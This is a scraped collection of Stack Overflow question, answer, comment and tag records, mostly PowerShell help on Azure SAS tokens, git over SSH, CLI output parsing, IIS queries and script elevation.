-Encoding utf8 Note: -Encoding utf8 was added to ensure that the output CSV file is UTF-8 with BOM in Windows PowerShell. By contrast, in PowerShell (Core) 7 you'd have to use -Encoding utf8BOM [1] See this answer for additional information.
downvote count: 0
type: AcceptedAnswer
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/79369758
accepted answer of: http://stackoverflow.com/q/79369758
score: 1

http://stackoverflow.com/q/79391395
tagged with: windows
duplicate of: http://stackoverflow.com/q/53834304
has comment: http://stackoverflow.com/comment/140008114
has body: I'm trying to follow the Git book guide on setting up Git on a server, but the guide and everywhere I've looked online assumes you're on Linux.. For testing purposes I'm trying to get this to work locally: git clone myuser@localhost:users/myuser/stuff/thing.git always comes back with: Cloning into 'thing'... fatal: ''users/myuser/stuff/thing.git'' does not appear to be a git repository fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. I've tried various other ways such as: git clone myuser@localhost:C:/users/myuser/stuff/thing.git git clone myuser@localhost:stuff/thing.git And pretty much every variation I can think of, to no success. Also, if I try to ssh normally with ssh myuser@localhost It works completely fine! I've made sure that "myuser" owns the git repository folders as well, so I don't think it's a permission problem. Maybe something I have to configure on git's side as well?
type: Question
answer count: 0
has title: Correct syntax for git ssh on windows?
linked to: http://stackoverflow.com/q/53834304
has comment: http://stackoverflow.com/comment/140008125
tagged with: ssh
tagged with: powershell
score: 0
tagged with: git
type: UnansweredQuestion

http://stackoverflow.com/comment/140094013
type: QuestionComment
type: Comment
has text: @mklement0 I posted a new question here. I tried my best to condense the JSON examples. https://stackoverflow.com/questions/79437094/powershell-code-returning-specific-variable-looking-to-enhance-program-by-captu
comment on: http://stackoverflow.com/q/79416406
score: 1

http://stackoverflow.com/a/79280400
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79279965
accepted answer of: http://stackoverflow.com/q/79279965
has body: Generating SAS account token in powershell If you are using 2022-11-02 REST API version your stringToSign should be constructed using the following logic: StringToSign = accountname + "\n" + signedpermissions + "\n" + signedservice + "\n" + signedresourcetype + "\n" + signedstart + "\n" + signedexpiry + "\n" + signedIP + "\n" + signedProtocol + "\n" + signedversion + "\n" + signedEncryptionScope + "\n" You can use the below script to generate account sas token using Powershell. Script: # Parameters $xMsDate = [System.DateTime]::UtcNow.ToString("yyyy-MM-ddTHH:mm:ssZ") $expiryInSeconds = 7200 # 2 hours validity $accountName = "xxx" $signedPermissions = "rwdlaciytfx" $signedService = "b" $signedResourceType = "sco" $signedStart = $xMsDate $signedExpiry = [System.DateTime]::UtcNow.AddSeconds($expiryInSeconds).ToString("yyyy-MM-ddTHH:mm:ssZ") $signedIP = "" # Optional $signedProtocol = "https" $signedVersion = "2022-11-02" $signedEncryptionScope = "" # Storage Account Key (Replace with your actual key) $accessKey = "xxxx" # Construct String-to-Sign $StringToSign = "{0}`n{1}`n{2}`n{3}`n{4}`n{5}`n{6}`n{7}`n{8}`n{9}`n" -f ` $accountName, $signedPermissions, $signedService, $signedResourceType, ` $signedStart, $signedExpiry, $signedIP, $signedProtocol, $signedVersion, $signedEncryptionScope # Decode the storage account key $keyBytes = [Convert]::FromBase64String($accessKey) # Convert String-to-Sign to bytes $SignatureBytes = [System.Text.Encoding]::UTF8.GetBytes($StringToSign) # Generate HMAC-SHA256 signature $hasher = New-Object System.Security.Cryptography.HMACSHA256 $hasher.Key = $keyBytes $Signature = [Convert]::ToBase64String($hasher.ComputeHash($SignatureBytes)) # Generate SAS Token $sasToken = "sv=$signedVersion&ss=$signedService&srt=$signedResourceType&sp=$signedPermissions&se=$signedExpiry&st=$signedStart&spr=$signedProtocol&sig=$([System.Web.HttpUtility]::UrlEncode($Signature))" # Output the SAS Token Write-Output $sasToken Output: sv=2022-11-02&ss=b&srt=sco&sp=rwd…
type: AcceptedAnswer

http://stackoverflow.com/comment/140035816
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79403390
has text: @SantiagoSquarzon, in short: `.AddScript()` is for executing arbitrary PowerShell source code, whereas `.AddCommand()` is for executing a single command by name or path, such as a `*.ps1` file. It is important to know this distinction, because `AddScript()` will only behave like `.AddCommand()` in the simplest of cases: with a space-less `*.ps1` path that is also free of other metacharacters, to which no arguments need be passed. (I've updated the footnote accordingly.)
score: 0

system.reflection
tag name: system.reflection
type: Tag
tags question: http://stackoverflow.com/q/79382513

http://stackoverflow.com/comment/139890337
comment on: http://stackoverflow.com/q/79320969
has text: What about connect-mg graph with scope?
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139950426
has text: The is a repeating question (see: [In Powershell, what's the best way to join two tables into one?](https://stackoverflow.com/a/45483110/1701026)) that basicaly asks for a `Join-Object` cmdlet which isn't included in PowerShell. See: [#14994 Add a Join-Object cmdlet to the standard PowerShell equipment](https://github.com/PowerShell/PowerShell/issues/14994). Meaning if you don't want to reinvent the wheel you might e.g. use this [`Join-Object Module`](https://www.powershellgallery.com/packages/JoinModule) : `$Var1 | Join $Var2 -on id`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79360258
score: 1

http://stackoverflow.com/comment/139745918
has text: @SantiagoSquarzon _"Seems like you're just reinventing the wheel."_ I might be. This definitely differs from a job in that the process targeted for shutdown is independent of the process invoking the shutdown. But I see now that a named pipe can be attached to such a process to do the same, but that approach I haven't gotten working.
type: AnswerComment
comment on: http://stackoverflow.com/a/79248980
type: Comment
score: 0

http://stackoverflow.com/comment/139761722
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79257011
has text: hklm:\software not hklm\software, dword not reg_dword

http://stackoverflow.com/comment/140020638
type: Comment
comment on: http://stackoverflow.com/q/79397722
has text: Yes, but I can't use `handle.exe` if I can't distribute it with my script everywhere I'd like to look for handles (which I can't :/ )
score: 0
type: QuestionComment

http://stackoverflow.com/comment/140018877
has text: You have duplicate filenames. Eliminate the -Copy. The copy is putting the same file names on the server. : $importedVM = Import-VM -Path $vmConfigFile.FullName -GenerateNewId -Copy The other choise is to make the folder name unique Add : $newVMFolder += $i
type: QuestionComment
comment on: http://stackoverflow.com/q/79395636
type: Comment
score: 0

http://stackoverflow.com/comment/140044619
score: 0
has text: See if the solution in [this answer](https://stackoverflow.com/a/53917386/45375) helps.
comment on: http://stackoverflow.com/q/79410051
type: QuestionComment
type: Comment

ntfs
tags question: http://stackoverflow.com/q/79348341
tag name: ntfs
type: Tag

http://stackoverflow.com/comment/140055394
type: Comment
has text: @SantiagoSquarzon That is forward and backward "lookaheads", yes? Will be using those because the escaping of `"`, then the ` that is needed in a string that introduces a variable, is getting to darn complicated. But when I use `$User = joebloggs`, `$ConstructedRegex = "(?<=,)`"?$User`"?(?=,)"` with essentially `"janeblogs,joeblogs".replace($ConstructedRegex,"")` I get no replacement in Powershell ISE. Any thoughts on why?
comment on: http://stackoverflow.com/q/79415674
score: 0
type: QuestionComment

http://stackoverflow.com/comment/140010770
comment on: http://stackoverflow.com/q/79392354
score: 0
has text: I think there's an open issue in Windows Terminal github repo to be able to dump full session history to file. Meanwhile using terminal emulator that can do that (e.g. SecureCRT) could be workaround.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139950771
type: QuestionComment
type: Comment
has text: I doubt this is a type mismatch issue - a `System.Object[]` can contain strings just fine. If the UPN is in the format `principal#EXT#@company.com`, and the primary smtp address you're comparing against has the form `principal@company.com` then you'll want to using `-replace '#EXT#(?=@)',''`, otherwise you end up comparing `principal` to `principal@company.com` (which obviously doesn't match)
comment on: http://stackoverflow.com/q/79359686
score: 1

http://stackoverflow.com/comment/140020087
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79397285
has text: From where do you call the script ? cmd or powershell itself?
score: 0

http://stackoverflow.com/comment/139960932
comment on: http://stackoverflow.com/q/79364993
score: 1
type: QuestionComment
type: Comment
has text: @Wayne ```docker start gracious_feistel``` worked, I just had to fish around for the Jupyter Notebook link but it worked and I tested the GPU, I think you can post that as an answer.

http://stackoverflow.com/comment/139870717
type: AnswerComment
comment on: http://stackoverflow.com/a/79312248
type: Comment
has text: That `$xml.configure[0] -eq ''` yields `$true` smells like a bug: as adapted property values, ` ` nodes unexpectedly become the _empty string_, which has been reported in [GitHub issue #24721](https://github.com/PowerShell/PowerShell/issues/24721)
score: 0

refresh
tags question: http://stackoverflow.com/q/79269478
type: Tag
tag name: refresh

http://stackoverflow.com/comment/139929644
score: 0
comment on: http://stackoverflow.com/q/79349700
has text: The issue is very likely on `resourceID = "$ObjectID"`, the `resourceId` is the id of the resource servicePrincipal which has defined the app role. For example, if the role that you're assigning is from Graph then the `resourceId` would be Graph app id, like in this example: https://stackoverflow.com/a/78738562/15339544
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140027305
comment on: http://stackoverflow.com/a/79397850
score: 0
type: AnswerComment
has text: Here is proof of what my last stated - http://imgur.com/a/xLPUAjs
type: Comment

http://stackoverflow.com/comment/139845865
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79304198
has text: I don't think Invoke-RestMethod was available until PowerShell 3.0. Are you sure you're using PowerShell 2.0 and not something like `powershell.exe -Version 2.0`?
type: QuestionComment

http://stackoverflow.com/q/79376015
type: Question
answer count: 0
tagged with: powershell
type: UnansweredQuestion
tagged with: powershell-remoting
score: 0
has title: RunAsVirtualAccount for Register-PSSessionConfiguration
has body: I am trying to create a remote session that allows me to execute windows updates and based on the other threads, creating a virtual session with -RunAasVirtualAccount is the way to go. I have successfully used that trick on several machines that were running Powershell v5.1. However on machines with the latest Powershell v7.4.6, the Register-PSSessionConfiguration command does not seem to accept -RunAsVirtualAccount as a parameter anymore. Could anyone provide some insight on this weird behavior? The following is the error that I get when trying to register the session. New-Item: Line | 81 | new-item -path WSMan:\localhost\Plugin -file "$filepath" … | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | The configuration XML is not valid. Either attribute: "RunAsVirtualAccount" is not expected for element: "PlugInConfiguration" or its namespace is invalid. Thank you.

http://stackoverflow.com/comment/139884841
has text: I am getting the below error - Set-ADUser : Cannot validate argument on parameter 'Add'. The argument is null or an element of the argument collection contains a null value. At line:2 char:68 + ... ty 'test' -Add @{msExchExtensionCustomAttribute2 = [string[]]$values} + NOTE: All the values are saved in the test.txt file, one per line.
type: QuestionComment
comment on: http://stackoverflow.com/q/79326018
type: Comment
score: 0

http://stackoverflow.com/a/79419901
answers question: http://stackoverflow.com/q/79416426
type: Answer
has body: To complement Santiago's helpful answer with a way to directly extract a specific extended property: Using the code and results from the bottom part of this answer, we can infer that the Comments property has an index of 24 that can be passed as the 2nd argument to the .GetDetailsOf() method: # Be sure to specify a *full* path. $filePath = "C:\Users\user1\source\repos\PRACTICE\WpfApp1\SetupProject1\bin\Debug\SetupProject1.msi" # Parse the file using the Windows shell APIs to gain access to the extended properties. $folder = (New-Object -ComObject Shell.Application).NameSpace((Split-Path -Parent $filePath)) $file = $folder.ParseName((Split-Path -Leaf $filePath)) # Extract the "Comments" property value via index 24 $folder.GetDetailsOf($file, 24) That said, there's a less obscure alternative that uses the .ExtendedProperty() method in combination with a well-known property name, namely System.Comment:[1] # Be sure to specify a *full* path. $filePath = "C:\Users\user1\source\repos\PRACTICE\WpfApp1\SetupProject1\bin\Debug\SetupProject1.msi" # Parse the file using the Windows shell APIs to gain access to the extended properties. $folder = (New-Object -ComObject Shell.Application).NameSpace((Split-Path -Parent $filePath)) $file = $folder.ParseName((Split-Path -Leaf $filePath)) # Extract the "Comments" property value via the property's well-known name. $file.ExtendedProperty('System.Comment') [1] See the Windows Property help topic, which offers a categorized list of well-known properties. Those not specific to a particular file type are listed in the Core category, System.Comment among them.
score: 0

http://stackoverflow.com/q/79278916
duplicate of: http://stackoverflow.com/q/7152740
has comment: http://stackoverflow.com/comment/139809964
has comment: http://stackoverflow.com/comment/139809900
score: 0
has body: OK, I'm piggybacking off my previous question Powershell script to get IIS app pool recycling time from servers and wondering what I'm doing wrong I have a list of IIS app pools (apppools.txt) and a list of servers (servers.txt) When I run it as written below, the only output I get is the FIRST app pool from the list for each node. Can anybody help me find my (probably very simple) mistake? Output example: "ServerName","AppPool","RecycleTime" "serverS26","Pool1","04:10:00" "serverS27","Pool1","04:10:00" When I would expect to get about 10 app pools and their respective recycling times. I'm sure it's something stupid with my ICM Params or arguments. $apppools =gc c:\temp\apppools.txt $servers = Get-Content C:\temp\servers.txt foreach ($server in $servers){ Invoke-Command -ComputerName $server -argumentlist @($apppools) -scriptblock { param($apppools) $servername = hostname $infoObject = New-Object PSObject import-module webadministration foreach ($a in $apppools){ $recycle = (Get-ItemProperty -Path "IIS:\AppPools\$a" -Name recycling.periodicRestart.schedule.collection).value.tostring()} Add-Member -inputObject $infoObject -memberType NoteProperty -name "ServerName" -value $Servername Add-Member -inputObject $infoObject -memberType NoteProperty -name "AppPool" -value $a Add-Member -inputObject $infoObject -memberType NoteProperty -name "RecycleTime" -value $recycle $infoObject } | Select-Object * -ExcludeProperty PSComputerName, RunspaceId, PSShowComputerName | Export-Csv -append -path "C:\temp\recycling.csv" -NoTypeInformation }
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139810037
has comment: http://stackoverflow.com/comment/139800563
has comment: http://stackoverflow.com/comment/139809902
linked to: http://stackoverflow.com/q/79278245
has comment: http://stackoverflow.com/comment/139800615
has comment: http://stackoverflow.com/comment/139804118
has answer: http://stackoverflow.com/a/79279922
linked to: http://stackoverflow.com/q/7152740
tagged with: parameters
type: Question
has comment: http://stackoverflow.com/comment/139809760
has comment: http://stackoverflow.com/comment/139802703
tagged with: invoke-command
has title: Powershell invoke-command: why isn't this engaging the foreach loop?
has comment: http://stackoverflow.com/comment/139811420
tagged with: powershell
has comment: http://stackoverflow.com/comment/139810070
answer count: 1

http://stackoverflow.com/a/79344511
type: AcceptedAnswer
has body: Preface: The solution below uses text parsing to convert the tabular text output to objects, reflecting all the fields in the table, not just name. A simpler solution that extracts the name fields only is: $names = cf apps | select -Skip 1 | foreach { ($_ -split ' ', 2)[0] } Such an approach is best avoided, but cannot always be, namely if the source CLI lacks support for outputting a structured text format, such as JSON or CSV; indeed that seems to be the case for the CloudFoundry cf, as of this writing. Use the following, which makes the following assumptions, which are consistent with your sample data: Column-header as well as data-row fields must be separated by two or more spaces. # Initialize helper variables. $propNames = $null $ohtTemplate = [ordered] @{} # Parse the tabular CLI output into objects. $appInfos = cf apps | ForEach-Object { $fields = ($_ -split ' {2,}').Trim() if ($null -eq $propNames) { $propNames = $fields foreach ($propName in $propNames) { $ohtTemplate[$propName] = $null } return } foreach ($i in 0..($propNames.Count-1)) { if ($i -lt $fields.Count) { $ohtTemplate[$propNames[$i]] = $fields[$i] } else { $ohtTemplate[$propNames[$i]] = $null } } [pscustomobject] $ohtTemplate } # Output the resulting objects, for visual inspection. $appInfos The above emits custom objects whose property names correspond to the table header, and whose values contain a row's column values (which are all stored as strings). PowerShell's for-display output-formatting system conveniently renders the resulting objects as follows: name requested state processes routes ---- --------------- --------- ------ appname_1 started web:2/2 route1.com appname_2 started web:1/1 route2.com To get just the names, for instance, as an array, using member-access enumeration, use $appInfos.name: # Output from `$appInfos.name` appname_1 appname_2 To get just the first app's name, use $appInfos[0].name. Of course, you can use $appInfos | ForEach-Object { &lt;# work with $_ #&gt; }, forea…
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/79344043
has comment: http://stackoverflow.com/comment/139948170
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79344043

http://stackoverflow.com/q/79419763
favorite count: 0
tagged with: batch-file
linked to: http://stackoverflow.com/q/79388953
score: -1
has comment: http://stackoverflow.com/comment/140099102
has title: Microsoft deprecating use of vbs commonly used to elevate batch script, while also defaulting powershell's execution policy to restricted
has body: So Microsoft is deprecating the use of .vbs by 2027 to elevate batch files such as this (although fully updated windows 10 and 11 machines still run it until 2027): setlocal DisableDelayedExpansion set "batchPath=%~0" setlocal EnableDelayedExpansion ECHO Set UAC = CreateObject^("Shell.Application"^) > %temp%\OEgetPrivileges.vbs" ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" "%temp%\OEgetPrivileges.vbs" exit /B Article for reference: https://techcommunity.microsoft.com/blog/windows-itpro-blog/vbscript-deprecation-timelines-and-next-steps/4148301 Their answer is to "migrate to powershell" However, Microsoft also set the default PowerShell execution policy to restricted, which means using an elevated batch file to change PowerShell executionpolicy and run a PowerShell script that performs administrative functions will also soon stop working unless you manually change the setting. What working solution has Microsoft given that actually works to run a powershell script with administrative rights? or have any of you found a work around for this upcoming event? I'm talking about right-click "Run with powershell" or executing a powershell script on a batch of computers... simplified options to use in scripts. It feels like they they're just closing doors without providing an exit, or I need to be enlightened by something I don't know.
linked to: http://stackoverflow.com/q/65022178
type: Question
upvote count: 2
linked to: http://stackoverflow.com/q/4037939
answer count: 1
tagged with: deprecated
linked to: http://stackoverflow.com/q/69774566
has comment: http://stackoverflow.com/comment/140079458
downvote count: 3
tagged with: powershell
tagged with: elevation
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140062840
has comment: http://stackoverflow.com/comment/140067034
tagged with: vbscript
has comment: http://stackoverflow.com/comment/140063575
has answer: http://stackoverflow.com/a/79419921
has comment: http://stackoverflow.com/comment/140062821
accepted answer: http://stackoverflow.com/a/79419921

http://stackoverflow.com/comment/139743120
type: QuestionComment
comment on: http://stackoverflow.com/q/79247316
type: Comment
score: 0
has text: When I was learning powershell, I wrote a generic tool for this kind of situation. I later learned that this kind of tool is called a template engine. My tool is available on github, but it is overkill in your case, and you are better off learning enough powershell to code this problem without a template engine.

http://stackoverflow.com/q/79277179
tagged with: windows
linked to: http://stackoverflow.com/q/69786234
has body: My laptop is connected to two additional HDMI monitors of different models. The PowerShell script reports sizes and positions of the three display screens. The display working areas are reported different when script is executed from a PS console rather than from within PS ISE. There is no difference in computer or monitor setups which ever "PS environment" is used. This results in windows placed on screens are different sizes and positions and mouse movement locations. Bare-bones code: Add-Type -AssemblyName System.Windows.Forms write-host("AllScreens:") [System.Windows.Forms.Screen]::AllScreens write-host("Virtual Screen:") [System.Windows.Forms.SystemInformation]::VirtualScreen type here Output using PowerShell by itself: AllScreens: BitsPerPixel : 32 Bounds : {X=-1216,Y=0,Width=1216,Height=640} DeviceName : \.\DISPLAY1 Primary : False WorkingArea : {X=-1216,Y=0,Width=1216,Height=610} BitsPerPixel : 32 Bounds : {X=0,Y=0,Width=1536,Height=864} DeviceName : \.\DISPLAY2 Primary : True WorkingArea : {X=0,Y=0,Width=1536,Height=834} BitsPerPixel : 32 Bounds : {X=1920,Y=0,Width=1202,Height=676} DeviceName : \.\DISPLAY3 Primary : False WorkingArea : {X=1920,Y=0,Width=1202,Height=646} Virtual Screen: Location : {X=-1216,Y=0} Size : {Width=4338, Height=864} X : -1216 Y : 0 Width : 4338 Height : 864 Left : -1216 Top : 0 Right : 3122 Bottom : 864 IsEmpty : False Output executed from ISE: AllScreens: BitsPerPixel : 32 Bounds : {X=-1216,Y=0,Width=1216,Height=640} DeviceName : \.\DISPLAY1 Primary : False WorkingArea : {X=-1520,Y=0,Width=1520,Height=763} BitsPerPixel : 32 Bounds : {X=0,Y=0,Width=1536,Height=864} DeviceName : \.\DISPLAY2 Primary : True WorkingArea : {X=0,Y=0,Width=1920,Height=1042} BitsPerPixel : 32 Bounds : {X=1920,Y=0,Width=1202,Height=676} DeviceName : \.\DISPLAY3 Primary : False WorkingArea : {X=2400,Y=0,Width=1503,Height=808} Virtual Screen: Location : {X=-1520,Y=0} Size : {Width=5423, Height=1080} X : -1520 Y : 0 Width : 5423 Height : 1080 Left : -1520 Top …
type: Question
answer count: 0
linked to: http://stackoverflow.com/q/74933463
tagged with: powershell
score: 0
type: UnansweredQuestion
has title: Script Execution from PowerShell ISE vs. Run with PowerShell Gives Different Screen Sizes for Multiple Displays
has comment: http://stackoverflow.com/comment/139796386

http://stackoverflow.com/comment/139798542
type: Comment
has text: that worked. Are you able to run this snippet as well?
score: 0
comment on: http://stackoverflow.com/a/79274662
type: AnswerComment

azure-container-registry
type: Tag
tag name: azure-container-registry
tags question: http://stackoverflow.com/q/79297824

postman-newman
tag name: postman-newman
tags question: http://stackoverflow.com/q/79269077
type: Tag

http://stackoverflow.com/q/79278768
has title: PowerShell write progress to log for non-interactive session
type: Question
answer count: 0
tagged with: github-actions
score: 0
tagged with: powershell
type: UnansweredQuestion
has body: Most questions I see are trying to suppress progress in non-interactive mode, but I'd like to be able to output just the message to the console in GitHub Actions, cause now it's hard to see what's going on while the scripts are running.

http://stackoverflow.com/comment/139983753
has text: @Greg7000 Hi Greg, I forgot a detail, I apologize. I work in the customer's environment and have to deploy the new version to more than 500 devices. These devices have different versions of Python and I wanted to clean up by removing everything and installing the new version via Windows Intune. Do you have any advice?
comment on: http://stackoverflow.com/q/79377427
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79340328
score: 0
upvote count: 1
answers question: http://stackoverflow.com/q/79291391
has body: Inspecting code of Select-Xml cmdlet I found out that internally it uses SelectNodes method of NET class System.Xml.XmlNode. Thus you can find list of recognized functions in this Microsoft XPath reference documentation: XPath Reference
downvote count: 1
type: Answer

http://stackoverflow.com/comment/140004776
comment on: http://stackoverflow.com/a/79385414
has text: hi, thanks for the solution. i forget to mention the purpose of this time sync check is for monthly health check. i just need to extract the time sync status from the servers, dump it in excel and send the report to the management.
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/comment/139786395
has text: Why are you not forcefully typecasting it to Integer if you need that only? I strongly think that something we are missing in this function.
score: 0
comment on: http://stackoverflow.com/q/79271819
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79245251
answers question: http://stackoverflow.com/q/79245155
score: 0
has body: There is a way you can reduce 1 of the loops by using a Resource Graph query (Search-AzGraph). This example gets all Host Pools with their corresponding Resource Group and Subscription: $searchAzGraphSplat = @{ Query = " resources | where ['type'] == 'microsoft.desktopvirtualization/hostpools | project name, resourceGroup, subscriptionId" } $allHostPools = do { $response = Search-AzGraph @searchAzGraphSplat $searchAzGraphSplat['SkipToken'] = $response.SkipToken if ($response.Data.Count) { $response.Data } } while ($response.SkipToken) foreach ($hostpool in $allHostPools) { $getAzWvdSessionHostSplat = @{ ResourceGroupName = $hostpool.resourceGroup HostPoolName = $hostPool.name } foreach ($sessionHost in Get-AzWvdSessionHost @getAzWvdSessionHostSplat) { # Further processing } } From there if you need faster processing you could use ForEach-Object -Parallel instead but you need PowerShell 7+ for that: $allHostPools | ForEach-Object -Parallel { $getAzWvdSessionHostSplat = @{ ResourceGroupName = $_.resourceGroup HostPoolName = $_.name } foreach ($sessionHost in Get-AzWvdSessionHost @getAzWvdSessionHostSplat) { # Further processing } } If you're stuck with Windows PowerShell you can have a look at this Q&A and this module.
type: Answer

http://stackoverflow.com/q/79362037
score: 0
has comment: http://stackoverflow.com/comment/139953540
type: Question
tagged with: azure-runbook
has body: I am having an issue with importing PowerShell modules into a runbook in an automation account. It's a simple script to look at Exchange groups and email a list of matching groups out. It falls down at almost the first step: import-module exchangeonlinemanagement. I installed the module in the normal way - from the gallery. Although it did import the module, the next command - connect-exchangeonline failed with "System.Management.Automation.RuntimeException: Unable to find type [Microsoft.Exchange.Management.RestApiClient.ExchangeEnvironment]." Searching online, it suggested downgrading to version 3.5. I did that using the Azure Automation tab on https://www.powershellgallery.com/packages/ExchangeOnlineManagement/3.5.0 Now, when it reaches the import command it says that there is no module with that name. "The specified module 'ExchangeOnlineManagement' was not loaded because no valid module file was found in any module directory." Searching online doesn't provide any useful suggestions. The commands work fine in the CLI. Does anyone have any suggestions? The automation account has the module installed
has answer: http://stackoverflow.com/a/79362468
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79362468
answer count: 1
type: AnsweredQuestion
tagged with: azure-automation
has title: Automation Account Importing PowerShell Module Issue
tagged with: import-module
tagged with: azure

http://stackoverflow.com/a/79347888
score: 1
answers question: http://stackoverflow.com/q/79347170
downvote count: 0
type: Answer
upvote count: 1
has body: You can simplify your code and use just one Get-ChildItem call combined with a Where-Object clause to omit the files in the excluded folders like below: $rootFolder = 'C:\rootFolder' # read the folders to exclude from your text file, removing empty and whitespace only lines # $excludeFolders = Get-Content -Path 'C:\SomeFolder\Excludes.txt' | Where-Object { $_ -match '\S' } # for demo use: $excludeFolders = 'C:\rootFolder\D', 'C:\rootFolder\E' # next, create a regex of the folders to exclude # each item will be Regex Escaped and joined together with the OR symbol '|' $notThese = ($excludeFolders | ForEach-Object { [Regex]::Escape($_) }) -join '|' # now just iterate the files and omit those in the folders to exclude (Get-ChildItem -Path $rootFolder -File -Recurse | Where-Object { $_.DirectoryName -notmatch $notThese }).FullName If the files or folder names inside the rootfolder may contain characters like [ or ], use -LiteralPath instead of -Path

http://stackoverflow.com/a/79306495
score: 0
accepted answer of: http://stackoverflow.com/q/79306447
type: AcceptedAnswer
has body: Instead of Get-WmiObject, which is deprecated, use this: $lastBoot = (Get-CimInstance -ClassName Win32_OperatingSystem).LastBootUpTime
type: Answer
answers question: http://stackoverflow.com/q/79306447

file-rename
tags question: http://stackoverflow.com/q/79336099
tag name: file-rename
type: Tag

http://stackoverflow.com/comment/139823917
comment on: http://stackoverflow.com/q/79291780
score: 0
has text: if you want $LASTEXITCODE from invoked script to be available in calling session you can use the call operator `&`, e.g. `& c:\config.ps1 -val1 "12341234" -val2 "12.089"`
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139819719
has text: What do you do with $test after that? Maybe you can pipe get-content to something else that narrows it down first.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79286119

http://stackoverflow.com/comment/139868582
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79316429
has text: @MarcGravell: while that may have been better for clarity, note that the question is tagged `powershell`.

http://stackoverflow.com/comment/139984434
comment on: http://stackoverflow.com/q/79378728
type: QuestionComment
type: Comment
has text: Looks like you have empty lines in your ServerFile.txt file. Use `$Servers = Get-Content "C:\ServerFile.txt" | Where-Object {$_ -match '\S'}` to eliminate the empty or whitespace-only lines
score: 1

http://stackoverflow.com/q/79263555
downvote count: 0
tagged with: powershell
has body: Given any PS object, that might have different number of properties. I need to create a json array of each property values, where the 1st row, would be the name of each property, and subsequent rows the values for each of them. I thought I could do it pretty easily, but found out the opposite.. let's say my input object is something like this: $myObj[0..3] Date_Time Total_Time Sub_Time_1 Sub_Time_2 ------------------- ----------- ---------- ---------- 28/11/2024 00:02:14 67383 14147 12986 28/11/2024 00:03:19 64223 3741 11610 28/11/2024 00:04:15 55636 3577 12246 28/11/2024 00:04:53 37166 2395 6871 ... I want to convert this to a plain json array of arrays.. like this: [ ["Date_Time" ,"Total_Time", "Sub_Time_1", "Sub_Time_2"], ["28/11/2024 00:02:14" , 67383 , 14147 , 12986 ], ["28/11/2024 00:03:19" , 64223 , 3741 , 11610 ], ["28/11/2024 00:04:15" , 55636 , 3577 , 12246 ], ["28/11/2024 00:04:53" , 37166 , 2395 , 6871 ], ... ] Tryed ConvertTo-Json, but even using -asArray, it creates an Array of json-objects. [ {}, {} ,... {} ] But I need array of arrays , with just the values, except the 1st rows which needs to be the name of each "column" And it needs to be flexible, as the input object may vary, having different property names. Note: The extra spaces in the json array, was just for readability...
linked to: http://stackoverflow.com/q/69527536
upvote count: 1
has title: Powershell Object to json array , mimic a Table/CSV
favorite count: 0
has answer: http://stackoverflow.com/a/79263622
score: 1
linked to: http://stackoverflow.com/q/57576341
type: Question
accepted answer: http://stackoverflow.com/a/79263622
tagged with: http://stackoverflow.com/tag/json
tagged with: arrays
answer count: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/139914419
score: 1
has text: @mklement0, thanks, great answer. I have surely done a wrong search before ;) But this is weird because I was pretty sure I have tried to start code.exe as administrator with no previous instance... I close the question
comment on: http://stackoverflow.com/q/79335322
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140013078
comment on: http://stackoverflow.com/a/79392267
has text: Firstly, thanks again for your knowledge. Next, sigh. Even VBS allows for catching a closed dialog box and acting on it with any code. Why on earth did Powershell designers (I presume .NET doesn't act this way, hopefully) not think of this possibility, and if I am understanding correctly, allow use of `[Console]::TreatControlCAsInput = $true` in Powershell?!?!? Do you know of any other Powershell GUI prompts that can either have the X made not usable, or more likely I figure, properly deal with `Ctrl + C`?
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/140008292
score: 0
has text: Very good point, how would I go about having different code for each environment?
comment on: http://stackoverflow.com/q/79391481
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139740030
type: AnswerComment
has text: _"This isn't very different than using a normal Job though."_ Indeed, that does look like a job.
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79245560

http://stackoverflow.com/a/79317863
type: Answer
downvote count: 0
upvote count: 3
has body: Use the same property names (same headers) in both array of objects ($a and $b) then your code works properly. Otherwise you will have a similar issue as the one explained in PowerShell Export-CSV - Missing Columns. $a = $xml.Safex.Add.User | ForEach-Object { [PSCustomObject]@{ 'Name' = $_.name 'Group' = $_.GroupMembership } } $a $b = $xml.Safex.Add.User | Where-Object { $_.GroupMembership -eq 'WebService' } | Select-Object Name, @{ N = 'Group'; E = 'GroupMembership' } $b
score: 3
accepted answer of: http://stackoverflow.com/q/79317839
answers question: http://stackoverflow.com/q/79317839
type: AcceptedAnswer

dotnet-cli
type: Tag
tags question: http://stackoverflow.com/q/79321398
tag name: dotnet-cli

http://stackoverflow.com/comment/140010039
comment on: http://stackoverflow.com/q/79392354
has text: Just out of curiosity - what for do you need this? What's the use case? Does this help: [about_Logging_Windows](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.4#enabling-script-block-logging)
score: 0
